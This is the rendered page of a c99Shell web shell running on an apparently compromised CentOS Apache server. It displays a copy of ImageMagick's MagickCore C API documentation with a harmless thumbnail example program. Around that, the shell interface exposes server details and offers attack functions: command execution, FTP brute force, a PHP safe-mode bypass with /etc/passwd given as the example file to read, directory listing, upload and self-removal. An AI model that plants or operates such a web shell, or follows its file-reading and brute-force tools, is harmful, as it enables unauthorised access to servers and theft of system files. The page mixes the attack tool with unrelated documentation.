!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/ImageMagick-6.2.8/www/   drwxr-xr-x
Free 51.99 GB of 127.8 GB (40.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     magick-core.html (11.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ImageMagick: MagickCore, Low-level C API for ImageMagick
[ImageMagick]
[sponsor]

The MagickCore API is a low-level interface between the C programming language and the ImageMagick image processing libraries and is recommended for wizard-level programmers only. Unlike the MagickWand C API which uses only a few opaque types and accessors, with MagickCore you almost exlusively access the structure members directly. A description of the MagickCore public methods are found here:

After you write your MagickCore program, compile it like this:

  cc `Magick-config --cflags --cppflags` core.c `Magick-config --ldflags --libs`

Here is a example program that utilizes the MagickCore API to get you started, core.c. It reads a GIF image, creates a thumbnail, and writes it to disk in the PNG image format.

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <time.h>
  #include <magick/MagickCore.h>
  
  int main(int argc,char **argv)
  {
    ExceptionInfo
      *exception;
  
    Image
      *image,
      *images,
      *resize_image,
      *thumbnails;
  
    ImageInfo
      *image_info;
  
    if (argc != 3)
      {
        (void) fprintf(stdout,"Usage: %s image thumnail\n",argv[0]);
        exit(0);
      }
    /*
      Initialize the image info structure and read an image.
    */
    InitializeMagick(*argv);
    exception=AcquireExceptionInfo();
    image_info=CloneImageInfo((ImageInfo *) NULL);
    (void) strcpy(image_info->filename,argv[1]);
    images=ReadImage(image_info,exception);
    if (exception->severity != UndefinedException)
      CatchException(exception);
    if (images == (Image *) NULL)
      exit(1);
    /*
      Convert the image to a thumbnail.
    */
    thumbnails=NewImageList();
    while ((image=RemoveFirstImageFromList(&images)) != (Image *) NULL)
    {
      resize_image=ResizeImage(image,106,80,LanczosFilter,1.0,exception);
      if (resize_image == (Image *) NULL)
        MagickError(exception->severity,exception->reason,exception->description);
      (void) AppendImageToList(&thumbnails,resize_image);
      DestroyImage(image);
    }
    /*
      Write the image thumbnail.
    */
    (void) strcpy(thumbnails->filename,argv[2]);
    WriteImage(image_info,thumbnails);
    /*
      Destroy the image thumbnail and exit.
    */
    thumbnails=DestroyImageList(thumbnails);
    image_info=DestroyImageInfo(image_info);
    exception=DestroyExceptionInfo(exception);
    DestroyMagick();
    return(0);
  }
 
© 1999-2006 ImageMagick Studio LLC

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--